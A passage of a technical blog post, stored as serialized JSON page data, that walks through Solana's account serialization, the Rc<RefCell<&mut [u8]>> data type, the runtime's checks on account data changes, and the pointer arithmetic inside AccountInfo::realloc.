MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":481,"props":12708,"children":12709},{"class":483,"line":843},[12710,12714,12718,12722,12726,12730,12734,12738,12742,12746,12750,12755,12760],{"type":23,"tag":481,"props":12711,"children":12712},{"style":508},[12713],{"type":28,"value":11389},{"type":23,"tag":481,"props":12715,"children":12716},{"style":514},[12717],{"type":28,"value":12553},{"type":23,"tag":481,"props":12719,"children":12720},{"style":525},[12721],{"type":28,"value":578},{"type":23,"tag":481,"props":12723,"children":12724},{"style":508},[12725],{"type":28,"value":11389},{"type":23,"tag":481,"props":12727,"children":12728},{"style":497},[12729],{"type":28,"value":6308},{"type":23,"tag":481,"props":12731,"children":12732},{"style":514},[12733],{"type":28,"value":7301},{"type":23,"tag":481,"props":12735,"children":12736},{"style":497},[12737],{"type":28,"value":7139},{"type":23,"tag":481,"props":12739,"children":12740},{"style":943},[12741],{"type":28,"value":12122},{"type":23,"tag":481,"props":12743,"children":12744},{"style":525},[12745],{"type":28,"value":642},{"type":23,"tag":481,"props":12747,"children":12748},{"style":514},[12749],{"type":28,"value":199},{"type":23,"tag":481,"props":12751,"children":12752},{"style":610},[12753],{"type":28,"value":12754},"align_offset",{"type":23,"tag":481,"props":12756,"children":12757},{"style":525},[12758],{"type":28,"value":12759},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":481,"props":12761,"children":12762},{"style":488},[12763],{"type":28,"value":12764},"// padding\n",{"type":23,"tag":24,"props":12766,"children":12767},{},[12768,12770,12775,12777,12783,12785,12796,12798,12803,12805,12811,12813,12819,12821,12827],{"type":28,"value":12769},"In English, we have the length of the data, as a ",{"type":23,"tag":64,"props":12771,"children":12773},{"className":12772},[],[12774],{"type":28,"value":5521},{"type":28,"value":12776},", followed immediately by the data, and an additional ",{"type":23,"tag":64,"props":12778,"children":12780},{"className":12779},[],[12781],{"type":28,"value":12782},"MAX_PERMITTED_DATA_INCREASE",{"type":28,"value":12784}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":190,"props":12786,"children":12789},{"href":12787,"rel":12788},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[194],[12790],{"type":23,"tag":64,"props":12791,"children":12793},{"className":12792},[],[12794],{"type":28,"value":12795},"slice::from_raw_parts_mut",{"type":28,"value":12797},") - slices are how Rust represents a, well, ",{"type":23,"tag":127,"props":12799,"children":12800},{},[12801],{"type":28,"value":12802},"slice",{"type":28,"value":12804}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":64,"props":12806,"children":12808},{"className":12807},[],[12809],{"type":28,"value":12810},"Rc\u003CRefCell\u003CT>>",{"type":28,"value":12812},", giving us the unwieldy-looking type of ",{"type":23,"tag":64,"props":12814,"children":12816},{"className":12815},[],[12817],{"type":28,"value":12818},"AccountInfo.data",{"type":28,"value":12820},": ",{"type":23,"tag":64,"props":12822,"children":12824},{"className":12823},[],[12825],{"type":28,"value":12826},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":28,"value":199},{"type":23,"tag":24,"props":12829,"children":12830},{},[12831,12833,12840],{"type":28,"value":12832},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":190,"props":12834,"children":12837},{"href":12835,"rel":12836},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[194],[12838],{"type":28,"value":12839},"cloning the referenced account",{"type":28,"value":287},{"type":23,"tag":435,"props":12842,"children":12844},{"className":475,"code":12843,"language":474,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[12845],{"type":23,"tag":64,"props":12846,"children":12847},{"__ignoreMap":7},[12848,12856],{"type":23,"tag":481,"props":12849,"children":12850},{"class":483,"line":484},[12851],{"type":23,"tag":481,"props":12852,"children":12853},{"style":488},[12854],{"type":28,"value":12855},"// Duplicate account, clone the original\n",{"type":23,"tag":481,"props":12857,"children":12858},{"class":483,"line":351},[12859,12863,12867,12871,12875,12879,12883,12888,12892,12896,12901,12905,12910],{"type":23,"tag":481,"props":12860,"children":12861},{"style":508},[12862],{"type":28,"value":12163},{"type":23,"tag":481,"props":12864,"children":12865},{"style":514},[12866],{"type":28,"value":199},{"type":23,"tag":481,"props":12868,"children":12869},{"style":610},[12870],{"type":28,"value":1352},{"type":23,"tag":481,"props":12872,"children":12873},{"style":525},[12874],{"type":28,"value":618},{"type":23,"tag":481,"props":12876,"children":12877},{"style":508},[12878],{"type":28,"value":12163},{"type":23,"tag":481,"props":12880,"children":12881},{"style":525},[12882],{"type":28,"value":1269},{"type":23,"tag":481,"props":12884,"children":12885},{"style":508},[12886],{"type":28,"value":12887},"dup_info",{"type":23,"tag":481,"props":12889,"children":12890},{"style":497},[12891],{"type":28,"value":6308},{"type":23,"tag":481,"props":12893,"children":12894},{"style":943},[12895],{"type":28,"value":11219},{"type":23,"tag":481,"props":12897,"children":12898},{"style":525},[12899],{"type":28,"value":12900},"]",{"type":23,"tag":481,"props":12902,"children":12903},{"style":514},[12904],{"type":28,"value":199},{"type":23,"tag":481,"props":12906,"children":12907},{"style":610},[12908],{"type":28,"value":12909},"clone",{"type":23,"tag":481,"props":12911,"children":12912},{"style":525},[12913],{"type":28,"value":12914},"());\n",{"type":23,"tag":24,"props":12916,"children":12917},{},[12918,12920,12925,12927,12932,12934,12939,12941,12946,12947,12953,12955,12960,12962,12974,12976,12981],{"type":28,"value":12919},"Since ",{"type":23,"tag":64,"props":12921,"children":12923},{"className":12922},[],[12924],{"type":28,"value":1237},{"type":28,"value":12926}," inside the ",{"type":23,"tag":64,"props":12928,"children":12930},{"className":12929},[],[12931],{"type":28,"value":12427},{"type":28,"value":12933}," is a ",{"type":23,"tag":64,"props":12935,"children":12937},{"className":12936},[],[12938],{"type":28,"value":12810},{"type":28,"value":12940},", where the ",{"type":23,"tag":64,"props":12942,"children":12944},{"className":12943},[],[12945],{"type":28,"value":3464},{"type":28,"value":12933},{"type":23,"tag":64,"props":12948,"children":12950},{"className":12949},[],[12951],{"type":28,"value":12952},"&mut [u8]",{"type":28,"value":12954}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":64,"props":12956,"children":12958},{"className":12957},[],[12959],{"type":28,"value":12427},{"type":28,"value":12961},", we get a new reference",{"type":23,"tag":12963,"props":12964,"children":12965},"sup",{},[12966],{"type":23,"tag":190,"props":12967,"children":12972},{"href":12968,"ariaDescribedBy":12969,"dataFootnoteRef":7,"id":12971},"#user-content-fn-rc-refs",[12970],"footnote-label","user-content-fnref-rc-refs",[12973],{"type":28,"value":1558},{"type":28,"value":12975}," to the slice pointing at the ",{"type":23,"tag":127,"props":12977,"children":12978},{},[12979],{"type":28,"value":12980},"same",{"type":28,"value":12982}," data buffer.",{"type":23,"tag":24,"props":12984,"children":12985},{},[12986,12988,12994,12996,13002],{"type":28,"value":12987},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":64,"props":12989,"children":12991},{"className":12990},[],[12992],{"type":28,"value":12993},"RefCell",{"type":28,"value":12995}," to check the rules at runtime. (The ",{"type":23,"tag":64,"props":12997,"children":12999},{"className":12998},[],[13000],{"type":28,"value":13001},"lamports",{"type":28,"value":13003}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":24,"props":13005,"children":13006},{},[13007,13009,13015],{"type":28,"value":13008},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":64,"props":13010,"children":13012},{"className":13011},[],[13013],{"type":28,"value":13014},"AccountInfo::data",{"type":28,"value":13016},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":24,"props":13018,"children":13019},{},[13020,13022,13029],{"type":28,"value":13021},"This is also where the ",{"type":23,"tag":190,"props":13023,"children":13026},{"href":13024,"rel":13025},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[194],[13027],{"type":28,"value":13028},"runtime validity checks",{"type":28,"value":13030}," are imposed.",{"type":23,"tag":435,"props":13032,"children":13034},{"className":475,"code":13033,"language":474,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[13035],{"type":23,"tag":64,"props":13036,"children":13037},{"__ignoreMap":7},[13038,13046,13054,13062,13104,13122,13151,13196,13203,13227,13262,13287,13319,13334,13366,13373],{"type":23,"tag":481,"props":13039,"children":13040},{"class":483,"line":484},[13041],{"type":23,"tag":481,"props":13042,"children":13043},{"style":488},[13044],{"type":28,"value":13045},"// Only the owner may change account data\n",{"type":23,"tag":481,"props":13047,"children":13048},{"class":483,"line":351},[13049],{"type":23,"tag":481,"props":13050,"children":13051},{"style":488},[13052],{"type":28,"value":13053},"// and if the account is writable\n",{"type":23,"tag":481,"props":13055,"children":13056},{"class":483,"line":531},[13057],{"type":23,"tag":481,"props":13058,"children":13059},{"style":488},[13060],{"type":28,"value":13061},"// and if the account is not executable\n",{"type":23,"tag":481,"props":13063,"children":13064},{"class":483,"line":567},[13065,13070,13074,13078,13082,13086,13091,13095,13100],{"type":23,"tag":481,"props":13066,"children":13067},{"style":535},[13068],{"type":28,"value":13069},"if",{"type":23,"tag":481,"props":13071,"children":13072},{"style":514},[13073],{"type":28,"value":10351},{"type":23,"tag":481,"props":13075,"children":13076},{"style":525},[13077],{"type":28,"value":618},{"type":23,"tag":481,"props":13079,"children":13080},{"style":508},[13081],{"type":28,"value":12154},{"type":23,"tag":481,"props":13083,"children":13084},{"style":514},[13085],{"type":28,"value":800},{"type":23,"tag":481,"props":13087,"children":13088},{"style":508},[13089],{"type":28,"value":13090}," pre",{"type":23,"tag":481,"props":13092,"children":13093},{"style":514},[13094],{"type":28,"value":199},{"type":23,"tag":481,"props":13096,"children":13097},{"style":610},[13098],{"type":28,"value":13099},"owner",{"type":23,"tag":481,"props":13101,"children":13102},{"style":525},[13103],{"type":28,"value":5214},{"type":23,"tag":481,"props":13105,"children":13106},{"class":483,"line":678},[13107,13112,13117],{"type":23,"tag":481,"props":13108,"children":13109},{"style":514},[13110],{"type":28,"value":13111}," &&",{"type":23,"tag":481,"props":13113,"children":13114},{"style":508},[13115],{"type":28,"value":13116}," is_writable",{"type":23,"tag":481,"props":13118,"children":13119},{"style":488},[13120],{"type":28,"value":13121}," // line coverage used to get branch coverage\n",{"type":23,"tag":481,"props":13123,"children":13124},{"class":483,"line":784},[13125,13129,13133,13137,13141,13146],{"type":23,"tag":481,"props":13126,"children":13127},{"style":514},[13128],{"type":28,"value":13111},{"type":23,"tag":481,"props":13130,"children":13131},{"style":514},[13132],{"type":28,"value":10351},{"type":23,"tag":481,"props":13134,"children":13135},{"style":508},[13136],{"type":28,"value":435},{"type":23,"tag":481,"props":13138,"children":13139},{"style":514},[13140],{"type":28,"value":199},{"type":23,"tag":481,"props":13142,"children":13143},{"style":610},[13144],{"type":28,"value":13145},"executable",{"type":23,"tag":481,"props":13147,"children":13148},{"style":525},[13149],{"type":28,"value":13150},"())\n",{"type":23,"tag":481,"props":13152,"children":13153},{"class":483,"line":812},[13154,13158,13162,13166,13170,13174,13179,13184,13188,13192],{"type":23,"tag":481,"props":13155,"children":13156},{"style":514},[13157],{"type":28,"value":13111},{"type":23,"tag":481,"props":13159,"children":13160},{"style":508},[13161],{"type":28,"value":13090},{"type":23,"tag":481,"props":13163,"children":13164},{"style":514},[13165],{"type":28,"value":199},{"type":23,"tag":481,"props":13167,"children":13168},{"style":610},[13169],{"type":28,"value":1237},{"type":23,"tag":481,"props":13171,"children":13172},{"style":525},[13173],{"type":28,"value":11531},{"type":23,"tag":481,"props":13175,"children":13176},{"style":514},[13177],{"type":28,"value":13178},"!=",{"type":23,"tag":481,"props":13180,"children":13181},{"style":508},[13182],{"type":28,"value":13183}," post",{"type":23,"tag":481,"props":13185,"children":13186},{"style":514},[13187],{"type":28,"value":199},{"type":23,"tag":481,"props":13189,"children":13190},{"style":610},[13191],{"type":28,"value":1237},{"type":23,"tag":481,"props":13193,"children":13194},{"style":525},[13195],{"type":28,"value":5214},{"type":23,"tag":481,"props":13197,"children":13198},{"class":483,"line":825},[13199],{"type":23,"tag":481,"props":13200,"children":13201},{"style":525},[13202],{"type":28,"value":8366},{"type":23,"tag":481,"props":13204,"children":13205},{"class":483,"line":843},[13206,13210,13214,13218,13222],{"type":23,"tag":481,"props":13207,"children":13208},{"style":535},[13209],{"type":28,"value":9766},{"type":23,"tag":481,"props":13211,"children":13212},{"style":508},[13213],{"type":28,"value":13090},{"type":23,"tag":481,"props":13215,"children":13216},{"style":514},[13217],{"type":28,"value":199},{"type":23,"tag":481,"props":13219,"children":13220},{"style":610},[13221],{"type":28,"value":13145},{"type":23,"tag":481,"props":13223,"children":13224},{"style":525},[13225],{"type":28,"value":13226},"() {\n",{"type":23,"tag":481,"props":13228,"children":13229},{"class":483,"line":864},[13230,13235,13240,13244,13249,13253,13258],{"type":23,"tag":481,"props":13231,"children":13232},{"style":535},[13233],{"type":28,"value":13234}," return",{"type":23,"tag":481,"props":13236,"children":13237},{"style":943},[13238],{"type":28,"value":13239}," Err",{"type":23,"tag":481,"props":13241,"children":13242},{"style":525},[13243],{"type":28,"value":618},{"type":23,"tag":481,"props":13245,"children":13246},{"style":943},[13247],{"type":28,"value":13248},"InstructionError",{"type":23,"tag":481,"props":13250,"children":13251},{"style":514},[13252],{"type":28,"value":1006},{"type":23,"tag":481,"props":13254,"children":13255},{"style":943},[13256],{"type":28,"value":13257},"ExecutableDataModified",{"type":23,"tag":481,"props":13259,"children":13260},{"style":525},[13261],{"type":28,"value":1366},{"type":23,"tag":481,"props":13263,"children":13264},{"class":483,"line":873},[13265,13270,13274,13279,13283],{"type":23,"tag":481,"props":13266,"children":13267},{"style":525},[13268],{"type":28,"value":13269}," } ",{"type":23,"tag":481,"props":13271,"children":13272},{"style":535},[13273],{"type":28,"value":836},{"type":23,"tag":481,"props":13275,"children":13276},{"style":535},[13277],{"type":28,"value":13278}," if",{"type":23,"tag":481,"props":13280,"children":13281},{"style":508},[13282],{"type":28,"value":13116},{"type":23,"tag":481,"props":13284,"children":13285},{"style":525},[13286],{"type":28,"value":809},{"type":23,"tag":481,"props":13288,"children":13289},{"class":483,"line":1125},[13290,13294,13298,13302,13306,13310,13315],{"type":23,"tag":481,"props":13291,"children":13292},{"style":535},[13293],{"type":28,"value":13234},{"type":23,"tag":481,"props":13295,"children":13296},{"style":943},[13297],{"type":28,"value":13239},{"type":23,"tag":481,"props":13299,"children":13300},{"style":525},[13301],{"type":28,"value":618},{"type":23,"tag":481,"props":13303,"children":13304},{"style":943},[13305],{"type":28,"value":13248},{"type":23,"tag":481,"props":13307,"children":13308},{"style":514},[13309],{"type":28,"value":1006},{"type":23,"tag":481,"props":13311,"children":13312},{"style":943},[13313],{"type":28,"value":13314},"ExternalAccountDataModified",{"type":23,"tag":481,"props":13316,"children":13317},{"style":525},[13318],{"type":28,"value":1366},{"type":23,"tag":481,"props":13320,"children":13321},{"class":483,"line":1142},[13322,13326,13330],{"type":23,"tag":481,"props":13323,"children":13324},{"style":525},[13325],{"type":28,"value":13269},{"type":23,"tag":481,"props":13327,"children":13328},{"style":535},[13329],{"type":28,"value":836},{"type":23,"tag":481,"props":13331,"children":13332},{"style":525},[13333],{"type":28,"value":809},{"type":23,"tag":481,"props":13335,"children":13336},{"class":483,"line":1159},[13337,13341,13345,13349,13353,13357,13362],{"type":23,"tag":481,"props":13338,"children":13339},{"style":535},[13340],{"type":28,"value":13234},{"type":23,"tag":481,"props":13342,"children":13343},{"style":943},[13344],{"type":28,"value":13239},{"type":23,"tag":481,"props":13346,"children":13347},{"style":525},[13348],{"type":28,"value":618},{"type":23,"tag":481,"props":13350,"children":13351},{"style":943},[13352],{"type":28,"value":13248},{"type":23,"tag":481,"props":13354,"children":13355},{"style":514},[13356],{"type":28,"value":1006},{"type":23,"tag":481,"props":13358,"children":13359},{"style":943},[13360],{"type":28,"value":13361},"ReadonlyDataModified",{"type":23,"tag":481,"props":13363,"children":13364},{"style":525},[13365],{"type":28,"value":1366},{"type":23,"tag":481,"props":13367,"children":13368},{"class":483,"line":1172},[13369],{"type":23,"tag":481,"props":13370,"children":13371},{"style":525},[13372],{"type":28,"value":879},{"type":23,"tag":481,"props":13374,"children":13375},{"class":483,"line":1181},[13376],{"type":23,"tag":481,"props":13377,"children":13378},{"style":525},[13379],{"type":28,"value":1443},{"type":23,"tag":7092,"props":13381,"children":13383},{"id":13382},"back-to-realloc",[13384,13386],{"type":28,"value":13385},"Back to ",{"type":23,"tag":64,"props":13387,"children":13389},{"className":13388},[],[13390],{"type":28,"value":11126},{"type":23,"tag":24,"props":13392,"children":13393},{},[13394],{"type":28,"value":13395},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":435,"props":13397,"children":13398},{"className":475,"code":11879,"language":474,"meta":7,"style":7},[13399],{"type":23,"tag":64,"props":13400,"children":13401},{"__ignoreMap":7},[13402,13409,13496],{"type":23,"tag":481,"props":13403,"children":13404},{"class":483,"line":484},[13405],{"type":23,"tag":481,"props":13406,"children":13407},{"style":488},[13408],{"type":28,"value":11891},{"type":23,"tag":481,"props":13410,"children":13411},{"class":483,"line":351},[13412,13416,13420,13424,13428,13432,13436,13440,13444,13448,13452,13456,13460,13464,13468,13472,13476,13480,13484,13488,13492],{"type":23,"tag":481,"props":13413,"children":13414},{"style":497},[13415],{"type":28,"value":9274},{"type":23,"tag":481,"props":13417,"children":13418},{"style":508},[13419],{"type":28,"value":11345},{"type":23,"tag":481,"props":13421,"children":13422},{"style":514},[13423],{"type":28,"value":517},{"type":23,"tag":481,"props":13425,"children":13426},{"style":497},[13427],{"type":28,"value":11285},{"type":23,"tag":481,"props":13429,"children":13430},{"style":514},[13431],{"type":28,"value":199},{"type":23,"tag":481,"props":13433,"children":13434},{"style":610},[13435],{"type":28,"value":11362},{"type":23,"tag":481,"props":13437,"children":13438},{"style":525},[13439],{"type":28,"value":11367},{"type":23,"tag":481,"props":13441,"children":13442},{"style":514},[13443],{"type":28,"value":647},{"type":23,"tag":481,"props":13445,"children":13446},{"style":610},[13447],{"type":28,"value":11376},{"type":23,"tag":481,"props":13449,"children":13450},{"style":525},[13451],{"type":28,"value":11367},{"type":23,"tag":481,"props":13453,"children":13454},{"style":514},[13455],{"type":28,"value":199},{"type":23,"tag":481,"props":13457,"children":13458},{"style":610},[13459],{"type":28,"value":11389},{"type":23,"tag":481,"props":13461,"children":13462},{"style":525},[13463],{"type":28,"value":618},{"type":23,"tag":481,"props":13465,"children":13466},{"style":514},[13467],{"type":28,"value":1876},{"type":23,"tag":481,"props":13469,"children":13470},{"style":551},[13471],{"type":28,"value":1622},{"type":23,"tag":481,"props":13473,"children":13474},{"style":525},[13475],{"type":28,"value":598},{"type":23,"tag":481,"props":13477,"children":13478},{"style":497},[13479],{"type":28,"value":6322},{"type":23,"tag":481,"props":13481,"children":13482},{"style":514},[13483],{"type":28,"value":7301},{"type":23,"tag":481,"props":13485,"children":13486},{"style":497},[13487],{"type":28,"value":1259},{"type":23,"tag":481,"props":13489,"children":13490},{"style":943},[13491],{"type":28,"value":3336},{"type":23,"tag":481,"props":13493,"children":13494},{"style":525},[13495],{"type":28,"value":528},{"type":23,"tag":481,"props":13497,"children":13498},{"class":483,"line":531},[13499,13503,13507,13511,13515,13519,13523],{"type":23,"tag":481,"props":13500,"children":13501},{"style":514},[13502],{"type":28,"value":2120},{"type":23,"tag":481,"props":13504,"children":13505},{"style":508},[13506],{"type":28,"value":11437},{"type":23,"tag":481,"props":13508,"children":13509},{"style":514},[13510],{"type":28,"value":517},{"type":23,"tag":481,"props":13512,"children":13513},{"style":508},[13514],{"type":28,"value":11446},{"type":23,"tag":481,"props":13516,"children":13517},{"style":497},[13518],{"type":28,"value":6308},{"type":23,"tag":481,"props":13520,"children":13521},{"style":943},[13522],{"type":28,"value":3336},{"type":23,"tag":481,"props":13524,"children":13525},{"style":525},[13526],{"type":28,"value":528},{"type":23,"tag":24,"props":13528,"children":13529},{},[13530,13535,13537,13542,13544,13549,13551,13562,13564,13569,13571,13576],{"type":23,"tag":64,"props":13531,"children":13533},{"className":13532},[],[13534],{"type":28,"value":11362},{"type":28,"value":13536}," gives us the ",{"type":23,"tag":64,"props":13538,"children":13540},{"className":13539},[],[13541],{"type":28,"value":12952},{"type":28,"value":13543}," from the ",{"type":23,"tag":64,"props":13545,"children":13547},{"className":13546},[],[13548],{"type":28,"value":12826},{"type":28,"value":13550},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":190,"props":13552,"children":13555},{"href":13553,"rel":13554},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[194],[13556],{"type":23,"tag":64,"props":13557,"children":13559},{"className":13558},[],[13560],{"type":28,"value":13561},"slice::as_mut_ptr()",{"type":28,"value":13563}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":64,"props":13565,"children":13567},{"className":13566},[],[13568],{"type":28,"value":5521},{"type":28,"value":13570}," - behind the data buffer), and then writes ",{"type":23,"tag":64,"props":13572,"children":13574},{"className":13573},[],[13575],{"type":28,"value":11210},{"type":28,"value":13577}," to it.",{"type":23,"tag":24,"props":13579,"children":13580},{},[13581,13583,13595,13597,13603],{"type":28,"value":13582},"This is reasonable... ",{"type":23,"tag":127,"props":13584,"children":13585},{},[13586,13588,13593],{"type":28,"value":13587},"as long as the ",{"type":23,"tag":64,"props":13589,"children":13591},{"className":13590},[],[13592],{"type":28,"value":1237},{"type":28,"value":13594}," actually came from the serialized buffer",{"type":28,"value":13596},". We'll come back to this ",{"type":23,"tag":190,"props":13598,"children":13600},{"href":13599},"#Not-contracts",[13601],{"type":28,"value":13602},"later",{"type":28,"value":199},{"type":23,"tag":24,"props":13605,"children":13606},{},[13607,13609,13614],{"type":28,"value":13608},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":64,"props":13610,"children":13612},{"className":13611},[],[13613],{"type":28,"value":12952},{"type":28,"value":13615}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":435,"props":13617,"children":13619},{"className":475,"code":13618,"language":474,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[13620],{"type":23,"tag":64,"props":13621,"children":13622},{"__ignoreMap":7},[13623,13631,13758],{"type":23,"tag":481,"props":13624,"children":13625},{"class":483,"line":484},[13626],{"type":23,"tag":481,"props":13627,"children":13628},{"style":488},[13629],{"type":28,"value":13630},"// Then set the new length in the local slice\n",{"type":23,"tag":481,"props":13632,"children":13633},{"class":483,"line":351},[13634,13638,13642,13646,13650,13654,13658,13662,13666,13670,13674,13678,13682,13686,13690,13694,13698,13702,13706,13710,13714,13718,13722,13726,13730,13734,13738,13742,13746,13750,13754],{"type":23,"tag":481,"props":13635,"children":13636},{"style":497},[13637],{"type":28,"value":9274},{"type":23,"tag":481,"props":13639,"children":13640},{"style":508},[13641],{"type":28,"value":11345},{"type":23,"tag":481,"props":13643,"children":13644},{"style":514},[13645],{"type":28,"value":517},{"type":23,"tag":481,"props":13647,"children":13648},{"style":514},[13649],{"type":28,"value":4619},{"type":23,"tag":481,"props":13651,"children":13652},{"style":497},[13653],{"type":28,"value":1259},{"type":23,"tag":481,"props":13655,"children":13656},{"style":514},[13657],{"type":28,"value":7301},{"type":23,"tag":481,"props":13659,"children":13660},{"style":525},[13661],{"type":28,"value":11505},{"type":23,"tag":481,"props":13663,"children":13664},{"style":497},[13665],{"type":28,"value":11201},{"type":23,"tag":481,"props":13667,"children":13668},{"style":514},[13669],{"type":28,"value":199},{"type":23,"tag":481,"props":13671,"children":13672},{"style":525},[13673],{"type":28,"value":1237},{"type":23,"tag":481,"props":13675,"children":13676},{"style":514},[13677],{"type":28,"value":199},{"type":23,"tag":481,"props":13679,"children":13680},{"style":610},[13681],{"type":28,"value":11526},{"type":23,"tag":481,"props":13683,"children":13684},{"style":525},[13685],{"type":28,"value":11531},{"type":23,"tag":481,"props":13687,"children":13688},{"style":497},[13689],{"type":28,"value":6322},{"type":23,"tag":481,"props":13691,"children":13692},{"style":514},[13693],{"type":28,"value":7301},{"type":23,"tag":481,"props":13695,"children":13696},{"style":497},[13697],{"type":28,"value":7139},{"type":23,"tag":481,"props":13699,"children":13700},{"style":943},[13701],{"type":28,"value":3336},{"type":23,"tag":481,"props":13703,"children":13704},{"style":525},[13705],{"type":28,"value":642},{"type":23,"tag":481,"props":13707,"children":13708},{"style":514},[13709],{"type":28,"value":199},{"type":23,"tag":481,"props":13711,"children":13712},{"style":610},[13713],{"type":28,"value":11389},{"type":23,"tag":481,"props":13715,"children":13716},{"style":525},[13717],{"type":28,"value":618},{"type":23,"tag":481,"props":13719,"children":13720},{"style":551},[13721],{"type":28,"value":1558},{"type":23,"tag":481,"props":13723,"children":13724},{"style":525},[13725],{"type":28,"value":598},{"type":23,"tag":481,"props":13727,"children":13728},{"style":497},[13729],{"type":28,"value":6322},{"type":23,"tag":481,"props":13731,"children":13732},{"style":943},[13733],{"type":28,"value":3336},{"type":23,"tag":481,"props":13735,"children":13736},{"style":525},[13737],{"type":28,"value":598},{"type":23,"tag":481,"props":13739,"children":13740},{"style":497},[13741],{"type":28,"value":6322},{"type":23,"tag":481,"props":13743,"children":13744},{"style":514},[13745],{"type":28,"value":7301},{"type":23,"tag":481,"props":13747,"children":13748},{"style":497},[13749],{"type":28,"value":1259},{"type":23,"tag":481,"props":13751,"children":13752},{"style":943},[13753],{"type":28,"value":3336},{"type":23,"tag":481,"props":13755,"children":13756},{"style":525},[13757],{"type":28,"value":1366},{"type":23,"tag":481,"props":13759,"children":13760},{"class":483,"line":531},[13761,13765,13769,13773,13777,13781,13785],{"type":23,"tag":481,"props":13762,"children":13763},{"style":514},[13764],{"type":28,"value":2120},{"type":23,"tag":481,"props":13766,"children":13767},{"style":508},[13768],{"type":28,"value":11437},{"type":23,"tag":481,"props":13770,"children":13771},{"style":514},[13772],{"type":28,"value":517},{"type":23,"tag":481,"props":13774,"children":13775},{"style":508},[13776],{"type":28,"value":11446},{"type":23,"tag":481,"props":13778,"children":13779},{"style":497},[13780],{"type":28,"value":6308},{"type":23,"tag":481,"props":13782,"children":13783},{"style":943},[13784],{"type":28,"value":3336},{"type":23,"tag":481,"props":13786,"children":13787},{"style":525},[13788],{"type":28,"value":528},{"type":23,"tag":24,"props":13790,"children":13791},{},[13792,13794,13800,13802,13813,13815,13821,13823,13829,13831,13836,13838,13843,13845,13855,13856,13863,13864,13871,13878,13880,13886,13888,13894,13896,13901,13903,13908,13910,13916,13918,13923],{"type":28,"value":13793},"That ",{"type":23,"tag":64,"props":13795,"children":13797},{"className":13796},[],[13798],{"type":28,"value":13799},"as_ptr()",{"type":28,"value":13801}," call is ",{"type":23,"tag":190,"props":13803,"children":13806},{"href":13804,"rel":13805},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[194],[13807],{"type":23,"tag":64,"props":13808,"children":13810},{"className":13809},[],[13811],{"type":28,"value":13812},"RefCell::as_ptr()",{"type":28,"value":13814}," due to the ",{"type":23,"tag":64,"props":13816,"children":13818},{"className":13817},[],[13819],{"type":28,"value":13820},"Deref",{"type":28,"value":13822}," impl on ",{"type":23,"tag":64,"props":13824,"children":13826},{"className":13825},[],[13827],{"type":28,"value":13828},"Rc",{"type":28,"value":13830}," (remember also that ",{"type":23,"tag":64,"props":13832,"children":13834},{"className":13833},[],[13835],{"type":28,"value":12993},{"type":28,"value":13837}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":127,"props":13839,"children":13840},{},[13841],{"type":28,"value":13842},"get",{"type":28,"value":13844}," one through ",{"type":23,"tag":190,"props":13846,"children":13849},{"href":13847,"rel":13848},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[194],[13850],{"type":23,"tag":64,"props":13851,"children":13853},{"className":13852},[],[13854],{"type":28,"value":6282},{"type":28,"value":3935},{"type":23,"tag":190,"props":13857,"children":13860},{"href":13858,"rel":13859},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[194],[13861],{"type":28,"value":13862},"and",{"type":28,"value":3935},{"type":23,"tag":190,"props":13865,"children":13868},{"href":13866,"rel":13867},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[194],[13869],{"type":28,"value":13870},"frie",{"type":23,"tag":190,"props":13872,"children":13875},{"href":13873,"rel":13874},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[194],[13876],{"type":28,"value":13877},"nds",{"type":28,"value":13879},"). So from ",{"type":23,"tag":64,"props":13881,"children":13883},{"className":13882},[],[13884],{"type":28,"value":13885},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":28,"value":13887}," we get a ",{"type":23,"tag":64,"props":13889,"children":13891},{"className":13890},[],[13892],{"type":28,"value":13893},"*mut &mut [u8]",{"type":28,"value":13895}," - a 